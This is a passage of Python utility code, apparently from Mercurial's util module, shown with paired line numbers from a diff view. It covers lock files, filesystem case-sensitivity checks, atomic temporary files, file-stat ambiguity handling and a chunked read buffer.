1718 return _("filename ends with '%s', which is not allowed "
1720 "on Windows") % t
1719 "on Windows") % t
1721
1720
1722 if pycompat.iswindows:
1721 if pycompat.iswindows:
1723 checkosfilename = checkwinfilename
1722 checkosfilename = checkwinfilename
1724 timer = time.clock
1723 timer = time.clock
1725 else:
1724 else:
1726 checkosfilename = platform.checkosfilename
1725 checkosfilename = platform.checkosfilename
1727 timer = time.time
1726 timer = time.time
1728
1727
1729 if safehasattr(time, "perf_counter"):
1728 if safehasattr(time, "perf_counter"):
1730 timer = time.perf_counter
1729 timer = time.perf_counter
1731
1730
1732 def makelock(info, pathname):
1731 def makelock(info, pathname):
1733 """Create a lock file atomically if possible
1732 """Create a lock file atomically if possible
1734
1733
1735 This may leave a stale lock file if symlink isn't supported and signal
1734 This may leave a stale lock file if symlink isn't supported and signal
1736 interrupt is enabled.
1735 interrupt is enabled.
1737 """
1736 """
1738 try:
1737 try:
1739 return os.symlink(info, pathname)
1738 return os.symlink(info, pathname)
1740 except OSError as why:
1739 except OSError as why:
1741 if why.errno == errno.EEXIST:
1740 if why.errno == errno.EEXIST:
1742 raise
1741 raise
1743 except AttributeError: # no symlink in os
1742 except AttributeError: # no symlink in os
1744 pass
1743 pass
1745
1744
1746 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
1745 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
1747 ld = os.open(pathname, flags)
1746 ld = os.open(pathname, flags)
1748 os.write(ld, info)
1747 os.write(ld, info)
1749 os.close(ld)
1748 os.close(ld)
1750
1749
1751 def readlock(pathname):
1750 def readlock(pathname):
1752 try:
1751 try:
1753 return os.readlink(pathname)
1752 return os.readlink(pathname)
1754 except OSError as why:
1753 except OSError as why:
1755 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1754 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1756 raise
1755 raise
1757 except AttributeError: # no symlink in os
1756 except AttributeError: # no symlink in os
1758 pass
1757 pass
1759 fp = posixfile(pathname, 'rb')
1758 fp = posixfile(pathname, 'rb')
1760 r = fp.read()
1759 r = fp.read()
1761 fp.close()
1760 fp.close()
1762 return r
1761 return r
1763
1762
1764 def fstat(fp):
1763 def fstat(fp):
1765 '''stat file object that may not have fileno method.'''
1764 '''stat file object that may not have fileno method.'''
1766 try:
1765 try:
1767 return os.fstat(fp.fileno())
1766 return os.fstat(fp.fileno())
1768 except AttributeError:
1767 except AttributeError:
1769 return os.stat(fp.name)
1768 return os.stat(fp.name)
1770
1769
1771 # File system features
1770 # File system features
1772
1771
1773 def fscasesensitive(path):
1772 def fscasesensitive(path):
1774 """
1773 """
1775 Return true if the given path is on a case-sensitive filesystem
1774 Return true if the given path is on a case-sensitive filesystem
1776
1775
1777 Requires a path (like /foo/.hg) ending with a foldable final
1776 Requires a path (like /foo/.hg) ending with a foldable final
1778 directory component.
1777 directory component.
1779 """
1778 """
1780 s1 = os.lstat(path)
1779 s1 = os.lstat(path)
1781 d, b = os.path.split(path)
1780 d, b = os.path.split(path)
1782 b2 = b.upper()
1781 b2 = b.upper()
1783 if b == b2:
1782 if b == b2:
1784 b2 = b.lower()
1783 b2 = b.lower()
1785 if b == b2:
1784 if b == b2:
1786 return True # no evidence against case sensitivity
1785 return True # no evidence against case sensitivity
1787 p2 = os.path.join(d, b2)
1786 p2 = os.path.join(d, b2)
1788 try:
1787 try:
1789 s2 = os.lstat(p2)
1788 s2 = os.lstat(p2)
1790 if s2 == s1:
1789 if s2 == s1:
1791 return False
1790 return False
1792 return True
1791 return True
1793 except OSError:
1792 except OSError:
1794 return True
1793 return True
1795
1794
1796 try:
1795 try:
1797 import re2
1796 import re2
1798 _re2 = None
1797 _re2 = None
1799 except ImportError:
1798 except ImportError:
1800 _re2 = False
1799 _re2 = False
1801
1800
1802 class _re(object):
1801 class _re(object):
1803 def _checkre2(self):
1802 def _checkre2(self):
1804 global _re2
1803 global _re2
1805 try:
1804 try:
1806 # check if match works, see issue3964
1805 # check if match works, see issue3964
1807 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1806 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1808 except ImportError:
1807 except ImportError:
1809 _re2 = False
1808 _re2 = False
1810
1809
1811 def compile(self, pat, flags=0):
1810 def compile(self, pat, flags=0):
1812 '''Compile a regular expression, using re2 if possible
1811 '''Compile a regular expression, using re2 if possible
1813
1812
1814 For best performance, use only re2-compatible regexp features. The
1813 For best performance, use only re2-compatible regexp features. The
1815 only flags from the re module that are re2-compatible are
1814 only flags from the re module that are re2-compatible are
1816 IGNORECASE and MULTILINE.'''
1815 IGNORECASE and MULTILINE.'''
1817 if _re2 is None:
1816 if _re2 is None:
1818 self._checkre2()
1817 self._checkre2()
1819 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1818 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1820 if flags & remod.IGNORECASE:
1819 if flags & remod.IGNORECASE:
1821 pat = '(?i)' + pat
1820 pat = '(?i)' + pat
1822 if flags & remod.MULTILINE:
1821 if flags & remod.MULTILINE:
1823 pat = '(?m)' + pat
1822 pat = '(?m)' + pat
1824 try:
1823 try:
1825 return re2.compile(pat)
1824 return re2.compile(pat)
1826 except re2.error:
1825 except re2.error:
1827 pass
1826 pass
1828 return remod.compile(pat, flags)
1827 return remod.compile(pat, flags)
1829
1828
1830 @propertycache
1829 @propertycache
1831 def escape(self):
1830 def escape(self):
1832 '''Return the version of escape corresponding to self.compile.
1831 '''Return the version of escape corresponding to self.compile.
1833
1832
1834 This is imperfect because whether re2 or re is used for a particular
1833 This is imperfect because whether re2 or re is used for a particular
1835 function depends on the flags, etc, but it's the best we can do.
1834 function depends on the flags, etc, but it's the best we can do.
1836 '''
1835 '''
1837 global _re2
1836 global _re2
1838 if _re2 is None:
1837 if _re2 is None:
1839 self._checkre2()
1838 self._checkre2()
1840 if _re2:
1839 if _re2:
1841 return re2.escape
1840 return re2.escape
1842 else:
1841 else:
1843 return remod.escape
1842 return remod.escape
1844
1843
1845 re = _re()
1844 re = _re()
1846
1845
1847 _fspathcache = {}
1846 _fspathcache = {}
1848 def fspath(name, root):
1847 def fspath(name, root):
1849 '''Get name in the case stored in the filesystem
1848 '''Get name in the case stored in the filesystem
1850
1849
1851 The name should be relative to root, and be normcase-ed for efficiency.
1850 The name should be relative to root, and be normcase-ed for efficiency.
1852
1851
1853 Note that this function is unnecessary, and should not be
1852 Note that this function is unnecessary, and should not be
1854 called, for case-sensitive filesystems (simply because it's expensive).
1853 called, for case-sensitive filesystems (simply because it's expensive).
1855
1854
1856 The root should be normcase-ed, too.
1855 The root should be normcase-ed, too.
1857 '''
1856 '''
1858 def _makefspathcacheentry(dir):
1857 def _makefspathcacheentry(dir):
1859 return dict((normcase(n), n) for n in os.listdir(dir))
1858 return dict((normcase(n), n) for n in os.listdir(dir))
1860
1859
1861 seps = pycompat.ossep
1860 seps = pycompat.ossep
1862 if pycompat.osaltsep:
1861 if pycompat.osaltsep:
1863 seps = seps + pycompat.osaltsep
1862 seps = seps + pycompat.osaltsep
1864 # Protect backslashes. This gets silly very quickly.
1863 # Protect backslashes. This gets silly very quickly.
1865 seps.replace('\\','\\\\')
1864 seps.replace('\\','\\\\')
1866 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1865 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1867 dir = os.path.normpath(root)
1866 dir = os.path.normpath(root)
1868 result = []
1867 result = []
1869 for part, sep in pattern.findall(name):
1868 for part, sep in pattern.findall(name):
1870 if sep:
1869 if sep:
1871 result.append(sep)
1870 result.append(sep)
1872 continue
1871 continue
1873
1872
1874 if dir not in _fspathcache:
1873 if dir not in _fspathcache:
1875 _fspathcache[dir] = _makefspathcacheentry(dir)
1874 _fspathcache[dir] = _makefspathcacheentry(dir)
1876 contents = _fspathcache[dir]
1875 contents = _fspathcache[dir]
1877
1876
1878 found = contents.get(part)
1877 found = contents.get(part)
1879 if not found:
1878 if not found:
1880 # retry "once per directory" per "dirstate.walk" which
1879 # retry "once per directory" per "dirstate.walk" which
1881 # may take place for each patches of "hg qpush", for example
1880 # may take place for each patches of "hg qpush", for example
1882 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1881 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1883 found = contents.get(part)
1882 found = contents.get(part)
1884
1883
1885 result.append(found or part)
1884 result.append(found or part)
1886 dir = os.path.join(dir, part)
1885 dir = os.path.join(dir, part)
1887
1886
1888 return ''.join(result)
1887 return ''.join(result)
1889
1888
1890 def checknlink(testfile):
1889 def checknlink(testfile):
1891 '''check whether hardlink count reporting works properly'''
1890 '''check whether hardlink count reporting works properly'''
1892
1891
1893 # testfile may be open, so we need a separate file for checking to
1892 # testfile may be open, so we need a separate file for checking to
1894 # work around issue2543 (or testfile may get lost on Samba shares)
1893 # work around issue2543 (or testfile may get lost on Samba shares)
1895 f1, f2, fp = None, None, None
1894 f1, f2, fp = None, None, None
1896 try:
1895 try:
1897 fd, f1 = tempfile.mkstemp(prefix='.%s-' % os.path.basename(testfile),
1896 fd, f1 = tempfile.mkstemp(prefix='.%s-' % os.path.basename(testfile),
1898 suffix='1~', dir=os.path.dirname(testfile))
1897 suffix='1~', dir=os.path.dirname(testfile))
1899 os.close(fd)
1898 os.close(fd)
1900 f2 = '%s2~' % f1[:-2]
1899 f2 = '%s2~' % f1[:-2]
1901
1900
1902 oslink(f1, f2)
1901 oslink(f1, f2)
1903 # nlinks() may behave differently for files on Windows shares if
1902 # nlinks() may behave differently for files on Windows shares if
1904 # the file is open.
1903 # the file is open.
1905 fp = posixfile(f2)
1904 fp = posixfile(f2)
1906 return nlinks(f2) > 1
1905 return nlinks(f2) > 1
1907 except OSError:
1906 except OSError:
1908 return False
1907 return False
1909 finally:
1908 finally:
1910 if fp is not None:
1909 if fp is not None:
1911 fp.close()
1910 fp.close()
1912 for f in (f1, f2):
1911 for f in (f1, f2):
1913 try:
1912 try:
1914 if f is not None:
1913 if f is not None:
1915 os.unlink(f)
1914 os.unlink(f)
1916 except OSError:
1915 except OSError:
1917 pass
1916 pass
1918
1917
1919 def endswithsep(path):
1918 def endswithsep(path):
1920 '''Check path ends with os.sep or os.altsep.'''
1919 '''Check path ends with os.sep or os.altsep.'''
1921 return (path.endswith(pycompat.ossep)
1920 return (path.endswith(pycompat.ossep)
1922 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1921 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1923
1922
1924 def splitpath(path):
1923 def splitpath(path):
1925 '''Split path by os.sep.
1924 '''Split path by os.sep.
1926 Note that this function does not use os.altsep because this is
1925 Note that this function does not use os.altsep because this is
1927 an alternative of simple "xxx.split(os.sep)".
1926 an alternative of simple "xxx.split(os.sep)".
1928 It is recommended to use os.path.normpath() before using this
1927 It is recommended to use os.path.normpath() before using this
1929 function if need.'''
1928 function if need.'''
1930 return path.split(pycompat.ossep)
1929 return path.split(pycompat.ossep)
1931
1930
1932 def mktempcopy(name, emptyok=False, createmode=None):
1931 def mktempcopy(name, emptyok=False, createmode=None):
1933 """Create a temporary file with the same contents from name
1932 """Create a temporary file with the same contents from name
1934
1933
1935 The permission bits are copied from the original file.
1934 The permission bits are copied from the original file.
1936
1935
1937 If the temporary file is going to be truncated immediately, you
1936 If the temporary file is going to be truncated immediately, you
1938 can use emptyok=True as an optimization.
1937 can use emptyok=True as an optimization.
1939
1938
1940 Returns the name of the temporary file.
1939 Returns the name of the temporary file.
1941 """
1940 """
1942 d, fn = os.path.split(name)
1941 d, fn = os.path.split(name)
1943 fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
1942 fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
1944 os.close(fd)
1943 os.close(fd)
1945 # Temporary files are created with mode 0600, which is usually not
1944 # Temporary files are created with mode 0600, which is usually not
1946 # what we want. If the original file already exists, just copy
1945 # what we want. If the original file already exists, just copy
1947 # its mode. Otherwise, manually obey umask.
1946 # its mode. Otherwise, manually obey umask.
1948 copymode(name, temp, createmode)
1947 copymode(name, temp, createmode)
1949 if emptyok:
1948 if emptyok:
1950 return temp
1949 return temp
1951 try:
1950 try:
1952 try:
1951 try:
1953 ifp = posixfile(name, "rb")
1952 ifp = posixfile(name, "rb")
1954 except IOError as inst:
1953 except IOError as inst:
1955 if inst.errno == errno.ENOENT:
1954 if inst.errno == errno.ENOENT:
1956 return temp
1955 return temp
1957 if not getattr(inst, 'filename', None):
1956 if not getattr(inst, 'filename', None):
1958 inst.filename = name
1957 inst.filename = name
1959 raise
1958 raise
1960 ofp = posixfile(temp, "wb")
1959 ofp = posixfile(temp, "wb")
1961 for chunk in filechunkiter(ifp):
1960 for chunk in filechunkiter(ifp):
1962 ofp.write(chunk)
1961 ofp.write(chunk)
1963 ifp.close()
1962 ifp.close()
1964 ofp.close()
1963 ofp.close()
1965 except: # re-raises
1964 except: # re-raises
1966 try:
1965 try:
1967 os.unlink(temp)
1966 os.unlink(temp)
1968 except OSError:
1967 except OSError:
1969 pass
1968 pass
1970 raise
1969 raise
1971 return temp
1970 return temp
1972
1971
1973 class filestat(object):
1972 class filestat(object):
1974 """help to exactly detect change of a file
1973 """help to exactly detect change of a file
1975
1974
1976 'stat' attribute is result of 'os.stat()' if specified 'path'
1975 'stat' attribute is result of 'os.stat()' if specified 'path'
1977 exists. Otherwise, it is None. This can avoid preparative
1976 exists. Otherwise, it is None. This can avoid preparative
1978 'exists()' examination on client side of this class.
1977 'exists()' examination on client side of this class.
1979 """
1978 """
1980 def __init__(self, stat):
1979 def __init__(self, stat):
1981 self.stat = stat
1980 self.stat = stat
1982
1981
1983 @classmethod
1982 @classmethod
1984 def frompath(cls, path):
1983 def frompath(cls, path):
1985 try:
1984 try:
1986 stat = os.stat(path)
1985 stat = os.stat(path)
1987 except OSError as err:
1986 except OSError as err:
1988 if err.errno != errno.ENOENT:
1987 if err.errno != errno.ENOENT:
1989 raise
1988 raise
1990 stat = None
1989 stat = None
1991 return cls(stat)
1990 return cls(stat)
1992
1991
1993 @classmethod
1992 @classmethod
1994 def fromfp(cls, fp):
1993 def fromfp(cls, fp):
1995 stat = os.fstat(fp.fileno())
1994 stat = os.fstat(fp.fileno())
1996 return cls(stat)
1995 return cls(stat)
1997
1996
1998 __hash__ = object.__hash__
1997 __hash__ = object.__hash__
1999
1998
2000 def __eq__(self, old):
1999 def __eq__(self, old):
2001 try:
2000 try:
2002 # if ambiguity between stat of new and old file is
2001 # if ambiguity between stat of new and old file is
2003 # avoided, comparison of size, ctime and mtime is enough
2002 # avoided, comparison of size, ctime and mtime is enough
2004 # to exactly detect change of a file regardless of platform
2003 # to exactly detect change of a file regardless of platform
2005 return (self.stat.st_size == old.stat.st_size and
2004 return (self.stat.st_size == old.stat.st_size and
2006 self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] and
2005 self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] and
2007 self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME])
2006 self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME])
2008 except AttributeError:
2007 except AttributeError:
2009 pass
2008 pass
2010 try:
2009 try:
2011 return self.stat is None and old.stat is None
2010 return self.stat is None and old.stat is None
2012 except AttributeError:
2011 except AttributeError:
2013 return False
2012 return False
2014
2013
2015 def isambig(self, old):
2014 def isambig(self, old):
2016 """Examine whether new (= self) stat is ambiguous against old one
2015 """Examine whether new (= self) stat is ambiguous against old one
2017
2016
2018 "S[N]" below means stat of a file at N-th change:
2017 "S[N]" below means stat of a file at N-th change:
2019
2018
2020 - S[n-1].ctime < S[n].ctime: can detect change of a file
2019 - S[n-1].ctime < S[n].ctime: can detect change of a file
2021 - S[n-1].ctime == S[n].ctime
2020 - S[n-1].ctime == S[n].ctime
2022 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2021 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2023 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2022 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2024 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2023 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2025 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2024 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
2026
2025
2027 Case (*2) above means that a file was changed twice or more at
2026 Case (*2) above means that a file was changed twice or more at
2028 same time in sec (= S[n-1].ctime), and comparison of timestamp
2027 same time in sec (= S[n-1].ctime), and comparison of timestamp
2029 is ambiguous.
2028 is ambiguous.
2030
2029
2031 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2030 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
2032 timestamp is ambiguous".
2031 timestamp is ambiguous".
2033
2032
2034 But advancing mtime only in case (*2) doesn't work as
2033 But advancing mtime only in case (*2) doesn't work as
2035 expected, because naturally advanced S[n].mtime in case (*1)
2034 expected, because naturally advanced S[n].mtime in case (*1)
2036 might be equal to manually advanced S[n-1 or earlier].mtime.
2035 might be equal to manually advanced S[n-1 or earlier].mtime.
2037
2036
2038 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2037 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
2039 treated as ambiguous regardless of mtime, to avoid overlooking
2038 treated as ambiguous regardless of mtime, to avoid overlooking
2040 by confliction between such mtime.
2039 by confliction between such mtime.
2041
2040
2042 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2041 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
2043 S[n].mtime", even if size of a file isn't changed.
2042 S[n].mtime", even if size of a file isn't changed.
2044 """
2043 """
2045 try:
2044 try:
2046 return (self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME])
2045 return (self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME])
2047 except AttributeError:
2046 except AttributeError:
2048 return False
2047 return False
2049
2048
2050 def avoidambig(self, path, old):
2049 def avoidambig(self, path, old):
2051 """Change file stat of specified path to avoid ambiguity
2050 """Change file stat of specified path to avoid ambiguity
2052
2051
2053 'old' should be previous filestat of 'path'.
2052 'old' should be previous filestat of 'path'.
2054
2053
2055 This skips avoiding ambiguity, if a process doesn't have
2054 This skips avoiding ambiguity, if a process doesn't have
2056 appropriate privileges for 'path'. This returns False in this
2055 appropriate privileges for 'path'. This returns False in this
2057 case.
2056 case.
2058
2057
2059 Otherwise, this returns True, as "ambiguity is avoided".
2058 Otherwise, this returns True, as "ambiguity is avoided".
2060 """
2059 """
2061 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2060 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2062 try:
2061 try:
2063 os.utime(path, (advanced, advanced))
2062 os.utime(path, (advanced, advanced))
2064 except OSError as inst:
2063 except OSError as inst:
2065 if inst.errno == errno.EPERM:
2064 if inst.errno == errno.EPERM:
2066 # utime() on the file created by another user causes EPERM,
2065 # utime() on the file created by another user causes EPERM,
2067 # if a process doesn't have appropriate privileges
2066 # if a process doesn't have appropriate privileges
2068 return False
2067 return False
2069 raise
2068 raise
2070 return True
2069 return True
2071
2070
2072 def __ne__(self, other):
2071 def __ne__(self, other):
2073 return not self == other
2072 return not self == other
2074
2073
2075 class atomictempfile(object):
2074 class atomictempfile(object):
2076 '''writable file object that atomically updates a file
2075 '''writable file object that atomically updates a file
2077
2076
2078 All writes will go to a temporary copy of the original file. Call
2077 All writes will go to a temporary copy of the original file. Call
2079 close() when you are done writing, and atomictempfile will rename
2078 close() when you are done writing, and atomictempfile will rename
2080 the temporary copy to the original name, making the changes
2079 the temporary copy to the original name, making the changes
2081 visible. If the object is destroyed without being closed, all your
2080 visible. If the object is destroyed without being closed, all your
2082 writes are discarded.
2081 writes are discarded.
2083
2082
2084 checkambig argument of constructor is used with filestat, and is
2083 checkambig argument of constructor is used with filestat, and is
2085 useful only if target file is guarded by any lock (e.g. repo.lock
2084 useful only if target file is guarded by any lock (e.g. repo.lock
2086 or repo.wlock).
2085 or repo.wlock).
2087 '''
2086 '''
2088 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
2087 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
2089 self.__name = name # permanent name
2088 self.__name = name # permanent name
2090 self._tempname = mktempcopy(name, emptyok=('w' in mode),
2089 self._tempname = mktempcopy(name, emptyok=('w' in mode),
2091 createmode=createmode)
2090 createmode=createmode)
2092 self._fp = posixfile(self._tempname, mode)
2091 self._fp = posixfile(self._tempname, mode)
2093 self._checkambig = checkambig
2092 self._checkambig = checkambig
2094
2093
2095 # delegated methods
2094 # delegated methods
2096 self.read = self._fp.read
2095 self.read = self._fp.read
2097 self.write = self._fp.write
2096 self.write = self._fp.write
2098 self.seek = self._fp.seek
2097 self.seek = self._fp.seek
2099 self.tell = self._fp.tell
2098 self.tell = self._fp.tell
2100 self.fileno = self._fp.fileno
2099 self.fileno = self._fp.fileno
2101
2100
2102 def close(self):
2101 def close(self):
2103 if not self._fp.closed:
2102 if not self._fp.closed:
2104 self._fp.close()
2103 self._fp.close()
2105 filename = localpath(self.__name)
2104 filename = localpath(self.__name)
2106 oldstat = self._checkambig and filestat.frompath(filename)
2105 oldstat = self._checkambig and filestat.frompath(filename)
2107 if oldstat and oldstat.stat:
2106 if oldstat and oldstat.stat:
2108 rename(self._tempname, filename)
2107 rename(self._tempname, filename)
2109 newstat = filestat.frompath(filename)
2108 newstat = filestat.frompath(filename)
2110 if newstat.isambig(oldstat):
2109 if newstat.isambig(oldstat):
2111 # stat of changed file is ambiguous to original one
2110 # stat of changed file is ambiguous to original one
2112 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2111 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
2113 os.utime(filename, (advanced, advanced))
2112 os.utime(filename, (advanced, advanced))
2114 else:
2113 else:
2115 rename(self._tempname, filename)
2114 rename(self._tempname, filename)
2116
2115
2117 def discard(self):
2116 def discard(self):
2118 if not self._fp.closed:
2117 if not self._fp.closed:
2119 try:
2118 try:
2120 os.unlink(self._tempname)
2119 os.unlink(self._tempname)
2121 except OSError:
2120 except OSError:
2122 pass
2121 pass
2123 self._fp.close()
2122 self._fp.close()
2124
2123
2125 def __del__(self):
2124 def __del__(self):
2126 if safehasattr(self, '_fp'): # constructor actually did something
2125 if safehasattr(self, '_fp'): # constructor actually did something
2127 self.discard()
2126 self.discard()
2128
2127
2129 def __enter__(self):
2128 def __enter__(self):
2130 return self
2129 return self
2131
2130
2132 def __exit__(self, exctype, excvalue, traceback):
2131 def __exit__(self, exctype, excvalue, traceback):
2133 if exctype is not None:
2132 if exctype is not None:
2134 self.discard()
2133 self.discard()
2135 else:
2134 else:
2136 self.close()
2135 self.close()
2137
2136
2138 def unlinkpath(f, ignoremissing=False):
2137 def unlinkpath(f, ignoremissing=False):
2139 """unlink and remove the directory if it is empty"""
2138 """unlink and remove the directory if it is empty"""
2140 if ignoremissing:
2139 if ignoremissing:
2141 tryunlink(f)
2140 tryunlink(f)
2142 else:
2141 else:
2143 unlink(f)
2142 unlink(f)
2144 # try removing directories that might now be empty
2143 # try removing directories that might now be empty
2145 try:
2144 try:
2146 removedirs(os.path.dirname(f))
2145 removedirs(os.path.dirname(f))
2147 except OSError:
2146 except OSError:
2148 pass
2147 pass
2149
2148
2150 def tryunlink(f):
2149 def tryunlink(f):
2151 """Attempt to remove a file, ignoring ENOENT errors."""
2150 """Attempt to remove a file, ignoring ENOENT errors."""
2152 try:
2151 try:
2153 unlink(f)
2152 unlink(f)
2154 except OSError as e:
2153 except OSError as e:
2155 if e.errno != errno.ENOENT:
2154 if e.errno != errno.ENOENT:
2156 raise
2155 raise
2157
2156
2158 def makedirs(name, mode=None, notindexed=False):
2157 def makedirs(name, mode=None, notindexed=False):
2159 """recursive directory creation with parent mode inheritance
2158 """recursive directory creation with parent mode inheritance
2160
2159
2161 Newly created directories are marked as "not to be indexed by
2160 Newly created directories are marked as "not to be indexed by
2162 the content indexing service", if ``notindexed`` is specified
2161 the content indexing service", if ``notindexed`` is specified
2163 for "write" mode access.
2162 for "write" mode access.
2164 """
2163 """
2165 try:
2164 try:
2166 makedir(name, notindexed)
2165 makedir(name, notindexed)
2167 except OSError as err:
2166 except OSError as err:
2168 if err.errno == errno.EEXIST:
2167 if err.errno == errno.EEXIST:
2169 return
2168 return
2170 if err.errno != errno.ENOENT or not name:
2169 if err.errno != errno.ENOENT or not name:
2171 raise
2170 raise
2172 parent = os.path.dirname(os.path.abspath(name))
2171 parent = os.path.dirname(os.path.abspath(name))
2173 if parent == name:
2172 if parent == name:
2174 raise
2173 raise
2175 makedirs(parent, mode, notindexed)
2174 makedirs(parent, mode, notindexed)
2176 try:
2175 try:
2177 makedir(name, notindexed)
2176 makedir(name, notindexed)
2178 except OSError as err:
2177 except OSError as err:
2179 # Catch EEXIST to handle races
2178 # Catch EEXIST to handle races
2180 if err.errno == errno.EEXIST:
2179 if err.errno == errno.EEXIST:
2181 return
2180 return
2182 raise
2181 raise
2183 if mode is not None:
2182 if mode is not None:
2184 os.chmod(name, mode)
2183 os.chmod(name, mode)
2185
2184
2186 def readfile(path):
2185 def readfile(path):
2187 with open(path, 'rb') as fp:
2186 with open(path, 'rb') as fp:
2188 return fp.read()
2187 return fp.read()
2189
2188
2190 def writefile(path, text):
2189 def writefile(path, text):
2191 with open(path, 'wb') as fp:
2190 with open(path, 'wb') as fp:
2192 fp.write(text)
2191 fp.write(text)
2193
2192
2194 def appendfile(path, text):
2193 def appendfile(path, text):
2195 with open(path, 'ab') as fp:
2194 with open(path, 'ab') as fp:
2196 fp.write(text)
2195 fp.write(text)
2197
2196
2198 class chunkbuffer(object):
2197 class chunkbuffer(object):
2199 """Allow arbitrary sized chunks of data to be efficiently read from an
2198 """Allow arbitrary sized chunks of data to be efficiently read from an
2200 iterator over chunks of arbitrary size."""
2199 iterator over chunks of arbitrary size."""
2201
2200
2202 def __init__(self, in_iter):
2201 def __init__(self, in_iter):
2203 """in_iter is the iterator that's iterating over the input chunks."""
2202 """in_iter is the iterator that's iterating over the input chunks."""
2204 def splitbig(chunks):
2203 def splitbig(chunks):
2205 for chunk in chunks:
2204 for chunk in chunks:
2206 if len(chunk) > 2**20:
2205 if len(chunk) > 2**20:
2207 pos = 0
2206 pos = 0
2208 while pos < len(chunk):
2207 while pos < len(chunk):
2209 end = pos + 2 ** 18
2208 end = pos + 2 ** 18
2210 yield chunk[pos:end]
2209 yield chunk[pos:end]
2211 pos = end
2210 pos = end
2212 else:
2211 else:
2213 yield chunk
2212 yield chunk
2214 self.iter = splitbig(in_iter)
2213 self.iter = splitbig(in_iter)
2215 self._queue = collections.deque()
2214 self._queue = collections.deque()
2216 self._chunkoffset = 0
2215 self._chunkoffset = 0
2217
2216
2218 def read(self, l=None):
2217 def read(self, l=None):
2219 """Read L bytes of data from the iterator of chunks of data.
2218 """Read L bytes of data from the iterator of chunks of data.
2220 Returns less than L bytes if the iterator runs dry.
2219 Returns less than L bytes if the iterator runs dry.
2221
2220
2222 If size parameter is omitted, read everything"""
2221 If size parameter is omitted, read everything"""
2223 if l is None:
2222 if l is None:
2224 return ''.join(self.iter)
2223 return ''.join(self.iter)
2225
2224
2226 left = l
2225 left = l
2227 buf = []
2226 buf = []
2228 queue = self._queue
2227 queue = self._queue
2229 while left > 0:
2228 while left > 0:
2230 # refill the queue
2229 # refill the queue
2231 if not queue:
2230 if not queue:
2232 target = 2**18
2231 target = 2**18
2233 for chunk in self.iter:
2232 for chunk in self.iter:
2234 queue.append(chunk)
2233 queue.append(chunk)
2235 target -= len(chunk)
2234 target -= len(chunk)
2236 if target <= 0:
2235 if target <= 0:
2237 break
2236 break
2238 if not queue:
2237 if not queue:
2239 break
2238 break
2240
2239
2241 # The easy way to do this would be to queue.popleft(), modify the
2240 # The easy way to do this would be to queue.popleft(), modify the
2242 # chunk (if necessary), then queue.appendleft(). However, for cases
2241 # chunk (if necessary), then queue.appendleft(). However, for cases
2243 # where we read partial chunk content, this incurs 2 dequeue
2242 # where we read partial chunk content, this incurs 2 dequeue
2244 # mutations and creates a new str for the remaining chunk in the
2243 # mutations and creates a new str for the remaining chunk in the
2245 # queue. Our code below avoids this overhead.
2244 # queue. Our code below avoids this overhead.
2246
2245
2247 chunk = queue[0]
2246 chunk = queue[0]
2248 chunkl = len(chunk)
2247 chunkl = len(chunk)
2249 offset = self._chunkoffset
2248 offset = self._chunkoffset
2250
2249
2251 # Use full chunk.
2250 # Use full chunk.
2252 if offset == 0 and left >= chunkl:
2251 if offset == 0 and left >= chunkl:
2253 left -= chunkl
2252 left -= chunkl
2254 queue.popleft()
2253 queue.popleft()
2255 buf.append(chunk)
2254 buf.append(chunk)
2256 # self._chunkoffset remains at 0.
2255 # self._chunkoffset remains at 0.
2257 continue
2256 continue
2258
2257
2259 chunkremaining = chunkl - offset
2258 chunkremaining = chunkl - offset
2260
2259
2261 # Use all of unconsumed part of chunk.
2260 # Use all of unconsumed part of chunk.
2262 if left >= chunkremaining:
2261 if left >= chunkremaining:
2263 left -= chunkremaining
2262 left -= chunkremaining
2264 queue.popleft()
2263 queue.popleft()
2265 # offset == 0 is enabled by block above, so this won't merely
2264 # offset == 0 is enabled by block above, so this won't merely
2266 # copy via ``chunk[0:]``.
2265 # copy via ``chunk[0:]``.
2267 buf.append(chunk[offset:])
